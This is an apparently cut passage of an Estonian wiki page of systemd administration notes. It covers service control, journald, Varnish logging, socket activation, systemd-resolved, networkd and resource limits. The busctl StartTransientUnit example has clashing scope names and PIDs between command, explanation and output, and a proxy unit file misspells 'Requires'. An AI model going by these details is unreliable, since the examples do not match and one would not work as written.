&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
 [260222.496889] systemd[1]: Set hostname to &amp;lt;systemd&amp;gt;.&lt;br /&gt;
 [  OK  ] Created slice Root Slice.&lt;br /&gt;
 [260223.089638] systemd[1]: Created slice Root Slice.&lt;br /&gt;
 [260223.096748] systemd[1]: Starting Root Slice.&lt;br /&gt;
 [  OK  ] Created slice System Slice.&lt;br /&gt;
 [260223.109289] systemd[1]: Created slice System Slice.&lt;br /&gt;
 [260223.115005] systemd[1]: Starting System Slice.&lt;br /&gt;
 [  OK  ] Started Emergency Shell.&lt;br /&gt;
 [260223.134133] systemd[1]: Started Emergency Shell.&lt;br /&gt;
 [260223.146296] systemd[1]: Starting Emergency Shell...&lt;br /&gt;
          Starting Emergency Shell...&lt;br /&gt;
 [  OK  ] Reached target Emergency Mode.&lt;br /&gt;
 [260223.192047] systemd[1]: Reached target Emergency Mode.&lt;br /&gt;
 [260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.&lt;br /&gt;
 [260223.221455] systemd[1]: Starting Emergency Mode.&lt;br /&gt;
 [260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory&lt;br /&gt;
 Welcome to emergency mode! After logging in, type &amp;quot;journalctl -xb&amp;quot; to view&lt;br /&gt;
 system logs, &amp;quot;systemctl reboot&amp;quot; to reboot, &amp;quot;systemctl default&amp;quot; or ^D to&lt;br /&gt;
 try again to boot into default mode.&lt;br /&gt;
 Give root password for maintenance&lt;br /&gt;
 (or press Control-D to continue): &amp;lt;root parool&amp;gt;&lt;br /&gt;
 root@systemd:~#&lt;br /&gt;
&lt;br /&gt;
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel&lt;br /&gt;
&lt;br /&gt;
 # systemctl isolate multi-user.target&lt;br /&gt;
&lt;br /&gt;
Arvuti väljalülitamiseks sh toitest&lt;br /&gt;
&lt;br /&gt;
 # systemctl poweroff&lt;br /&gt;
&lt;br /&gt;
===systemd-socket-proxyd===&lt;br /&gt;
&lt;br /&gt;
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* seadistada nginx server kuulama port 8080&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/nginx/sites-available/default&lt;br /&gt;
 ..&lt;br /&gt;
 server {&lt;br /&gt;
        listen 8080 default_server;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Rquires=nginx.service&lt;br /&gt;
 After=nginx.service&lt;br /&gt;
 # JoinsNamespaceOf=nginx.service&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080&lt;br /&gt;
 PrivateTmp=yes&lt;br /&gt;
 PrivateNetwork=no&lt;br /&gt;
&lt;br /&gt;
* tekitada .socket tüüpi unit&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.socket &lt;br /&gt;
 [Socket]&lt;br /&gt;
 ListenStream=80&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable proxy-to-nginx.socket&lt;br /&gt;
 # systemctl start proxy-to-nginx.socket&lt;br /&gt;
&lt;br /&gt;
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/&lt;br /&gt;
* man systemd-socket-proxyd&lt;br /&gt;
&lt;br /&gt;
===systemd-resolved===&lt;br /&gt;
&lt;br /&gt;
Paigaldada pakett libnss-resolve&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libnss-resolve&lt;br /&gt;
&lt;br /&gt;
Kirjeldada meelepärane nö ISP nimeserver&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/resolved.conf&lt;br /&gt;
 &lt;br /&gt;
 [Resolve]&lt;br /&gt;
 DNS=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
Lülitada sisse systemd-resolved&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-resolved&lt;br /&gt;
 # systemctl enable systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Testida systemd-resolved rekursiivse nimeserveri töötamist&lt;br /&gt;
&lt;br /&gt;
 # /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee&lt;br /&gt;
 kuutorvaja.eenet.ee: 193.40.0.7&lt;br /&gt;
 &lt;br /&gt;
 -- Information acquired via protocol DNS in 157.3ms.&lt;br /&gt;
&lt;br /&gt;
Kustutada fail /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Kasutada failis /etc/nsswitch.conf rida&lt;br /&gt;
&lt;br /&gt;
 hosts:          files resolve dns&lt;br /&gt;
&lt;br /&gt;
Soovi korral&lt;br /&gt;
&lt;br /&gt;
 # ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Debugi sisselülitamine&lt;br /&gt;
&lt;br /&gt;
 # cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system&lt;br /&gt;
&lt;br /&gt;
kus on sektsioonis Service lisatud debug&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 &lt;br /&gt;
 ..&lt;br /&gt;
 Environment=SYSTEMD_LOG_LEVEL=debug&lt;br /&gt;
&lt;br /&gt;
dns cache jms logisse kirjutamiseks&lt;br /&gt;
&lt;br /&gt;
 # kill -SIGUSR1 PID&lt;br /&gt;
&lt;br /&gt;
Tulemuse esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-resolve --status&lt;br /&gt;
&lt;br /&gt;
Logi jälgimine &lt;br /&gt;
&lt;br /&gt;
 # journalctl -f -u systemd-resolved&lt;br /&gt;
&lt;br /&gt;
===localectl===&lt;br /&gt;
&lt;br /&gt;
 # localectl list-locales&lt;br /&gt;
 C.UTF-8&lt;br /&gt;
 en_US.utf8&lt;br /&gt;
&lt;br /&gt;
===Service haldamine===&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl start apache2&lt;br /&gt;
&lt;br /&gt;
Oleku küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl status apache2&lt;br /&gt;
&lt;br /&gt;
Seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop apache2&lt;br /&gt;
&lt;br /&gt;
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl disable apache2&lt;br /&gt;
&lt;br /&gt;
Sisselülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl mask apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimise väljalülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl unmask apache2&lt;br /&gt;
&lt;br /&gt;
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type service -a&lt;br /&gt;
&lt;br /&gt;
Kõigi failide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-unit-files --type=service&lt;br /&gt;
&lt;br /&gt;
systemd seadistustes tehtud muudatuste esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-delta&lt;br /&gt;
&lt;br /&gt;
Sõltuvuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-dependencies sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuse omaduste esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl show sshd.service&lt;br /&gt;
&lt;br /&gt;
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)&lt;br /&gt;
&lt;br /&gt;
 # systemctl edit --full nginx.service&lt;br /&gt;
 # systemctl edit nginx.service&lt;br /&gt;
 # systemctl cat nginx.service&lt;br /&gt;
&lt;br /&gt;
===systemd-networkd===&lt;br /&gt;
&lt;br /&gt;
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt&lt;br /&gt;
&lt;br /&gt;
* seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil&lt;br /&gt;
&lt;br /&gt;
* tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/network/50-static.network &lt;br /&gt;
 [Match]&lt;br /&gt;
 Name=host0&lt;br /&gt;
 &lt;br /&gt;
 [Network]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
&lt;br /&gt;
* /etc/network/interfaces failis kirjeldada vaid lo seade&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/network/interfaces&lt;br /&gt;
 source /etc/network/interfaces.d/*&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
* võrgu käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-networkd&lt;br /&gt;
&lt;br /&gt;
* ipv4 ja ipv6 aadressi seadistamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 [Network]&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=110:1/64&lt;br /&gt;
&lt;br /&gt;
===Konsooli alglaadimisjärgse puhastamise lõpetamine===&lt;br /&gt;
&lt;br /&gt;
Järgneva töötamise eelduseks on /etc/default/grub failis &amp;quot;quiet&amp;quot; eemaldamine, vt man systemd -&amp;gt; ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.&lt;br /&gt;
&lt;br /&gt;
Viisakas variant&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl edit getty@tty1&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulgaarsem variant&lt;br /&gt;
&lt;br /&gt;
 # mkdir /etc/systemd/system/getty@tty1.service.d&lt;br /&gt;
 # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf&lt;br /&gt;
 [Service]&lt;br /&gt;
 TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
Ja järgmisel alglaadimisel enam ekraani ei puhastata&lt;br /&gt;
&lt;br /&gt;
 # reboot&lt;br /&gt;
&lt;br /&gt;
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ..&lt;br /&gt;
 GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://mywiki.wooledge.org/SystemdNoClear&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd_FAQ&lt;br /&gt;
&lt;br /&gt;
===journalctl kasuamine===&lt;br /&gt;
&lt;br /&gt;
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b&lt;br /&gt;
&lt;br /&gt;
Selleks, et näha erinevate bootimiskordade logi tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/log/journal&lt;br /&gt;
 # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf&lt;br /&gt;
&lt;br /&gt;
tulemusena saab nimekirja vaadata&lt;br /&gt;
&lt;br /&gt;
 # journalctl --list-boots&lt;br /&gt;
&lt;br /&gt;
ning konkreetse korra sissekandeid nt&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b -2&lt;br /&gt;
&lt;br /&gt;
Uniti vms logi follow režiimis esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # journalctl -n 20 -f -u ssh&lt;br /&gt;
&lt;br /&gt;
===systemd-cat===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Systemd debugimine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://freedesktop.org/wiki/Software/systemd/Debugging/&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse kontrollimine===&lt;br /&gt;
&lt;br /&gt;
 # grep -v &amp;quot;^#&amp;quot; /etc/systemd/system.conf&lt;br /&gt;
 &lt;br /&gt;
 [Manager]&lt;br /&gt;
 DefaultCPUAccounting=yes&lt;br /&gt;
 DefaultBlockIOAccounting=yes&lt;br /&gt;
 DefaultMemoryAccounting=yes&lt;br /&gt;
&lt;br /&gt;
 # systemctl set-property nginx.service MemoryLimit=10M&lt;br /&gt;
&lt;br /&gt;
===systemd-run===&lt;br /&gt;
&lt;br /&gt;
 $ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash&lt;br /&gt;
&lt;br /&gt;
 $ systemctl show --user limit-test.scope | grep Mem&lt;br /&gt;
 MemoryAccounting=yes&lt;br /&gt;
 MemoryLimit=2M&lt;br /&gt;
&lt;br /&gt;
või&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash&lt;br /&gt;
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# python3 -c 'a = &amp;quot;x&amp;quot; * 20 * 1024 * 1024'&lt;br /&gt;
Killed&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dbus kaudu scope kapslis protsessi töötamine, käivitada protsess&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# sleep 300 &amp;amp;&lt;br /&gt;
[1] 9261&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seostada protsess eraldi moodustatud systemd slice osakonnaga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# busctl call org.freedesktop.systemd1 \&lt;br /&gt;
            /org/freedesktop/systemd1 \&lt;br /&gt;
            org.freedesktop.systemd1.Manager \&lt;br /&gt;
            StartTransientUnit \&lt;br /&gt;
            &amp;quot;ssa(sv)a(sa(sv))&amp;quot; \&lt;br /&gt;
            &amp;quot;real-server-mimic.scope&amp;quot; \&lt;br /&gt;
            &amp;quot;fail&amp;quot; \&lt;br /&gt;
            2 &amp;quot;Slice&amp;quot; &amp;quot;s&amp;quot; &amp;quot;custom-labs-01.slice&amp;quot; &amp;quot;PIDs&amp;quot; &amp;quot;au&amp;quot; 1 8702 \&lt;br /&gt;
            0&lt;br /&gt;
o &amp;quot;/org/freedesktop/systemd1/job/62153&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* org.freedesktop.systemd1 /org/freedesktop/systemd1: The destination path pointing directly to systemd's primary system core.&lt;br /&gt;
* StartTransientUnit: The literal internal API function name.&lt;br /&gt;
* &amp;quot;ssa(sv)a(sa(sv))&amp;quot;: The explicit structural signature definition. It alerts systemd to expect: String, String, Array of Variants, and a nested Array of auxiliary configurations.&lt;br /&gt;
* &amp;quot;my-direct-dbus.scope&amp;quot;: The custom name for the new leaf node container.&lt;br /&gt;
* &amp;quot;fail&amp;quot;: The conflict mode. It instructs systemd: &amp;quot;If a scope with this exact name already exists, throw an error instead of overriding it.&amp;quot;&lt;br /&gt;
* 2 &amp;quot;Slice&amp;quot; &amp;quot;s&amp;quot; &amp;quot;custom-labs-01.slice&amp;quot; &amp;quot;PIDs&amp;quot; &amp;quot;au&amp;quot; 1 8620: This tells systemd we are supplying 2 properties inside our payload array:&lt;br /&gt;
&lt;br /&gt;
 Set the target Slice property to the string value &amp;quot;custom-labs-01.slice&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
 Populate the PIDs property array with an active array size of 1, passing our target PID unsigned integer value (8620).&lt;br /&gt;
&lt;br /&gt;
* 0: Passes an empty auxiliary parameters list.&lt;br /&gt;
&lt;br /&gt;
tulemuse kontrolliks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# systemd-cgls /custom.slice&lt;br /&gt;
CGroup /custom.slice:&lt;br /&gt;
└─custom-labs.slice&lt;br /&gt;
  └─custom-labs-02.slice&lt;br /&gt;
    └─real-server-02.scope&lt;br /&gt;
      └─9261 sleep 300&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-boot===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/systemd-boot&lt;br /&gt;
&lt;br /&gt;
===systemd-hostnamed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* busctl käivitab systemd-hostnamed protsessi ajutiselt vastavalt vajadusele&lt;br /&gt;
* ta on 'D-Bus On-Demand Activated Service' ehk 'Transient/Ephemeral Daemon' ehk 'Lazy-Loaded / Socket-Activated Daemon'&lt;br /&gt;
&lt;br /&gt;
